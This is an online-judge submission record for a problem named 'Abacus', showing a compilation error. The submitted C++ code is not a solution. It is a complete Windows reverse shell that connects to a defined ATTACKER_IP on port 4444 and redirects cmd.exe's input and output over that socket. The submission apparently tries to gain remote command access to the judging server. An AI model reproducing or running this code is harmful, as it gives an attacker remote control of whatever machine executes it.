Submission
Status:
Compilation Error
Score: 0
User: PokemonX69
Problemset: Abacus
Language: cpp
Time: 0.000 second
Submitted On: 2025-03-14 00:41:05
#include <winsock2.h>
#include <ws2tcpip.h>
#include <iostream>
#include <process.h>
#pragma comment(lib, "ws2_32.lib")
#define ATTACKER_IP "10.0.2.15"
#define ATTACKER_PORT 4444
int main() {
WSADATA wsaData;
SOCKET sock;
struct sockaddr_in server;
WSAStartup(MAKEWORD(2, 2), &wsaData);
sock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
server.sin_family = AF_INET;
server.sin_port = htons(ATTACKER_PORT);
inet_pton(AF_INET, ATTACKER_IP, &server.sin_addr.s_addr);
if (connect(sock, (struct sockaddr*)&server, sizeof(server)) == SOCKET_ERROR) {
closesocket(sock);
WSACleanup();
return 1;
}
char buffer[1024];
STARTUPINFO si = { 0 };
PROCESS_INFORMATION pi = { 0 };
si.cb = sizeof(si);
si.dwFlags = STARTF_USESTDHANDLES;
si.hStdInput = (HANDLE)sock;
si.hStdOutput = (HANDLE)sock;
si.hStdError = (HANDLE)sock;
CreateProcess(NULL, (LPSTR)"cmd.exe", NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi);
return 0;
}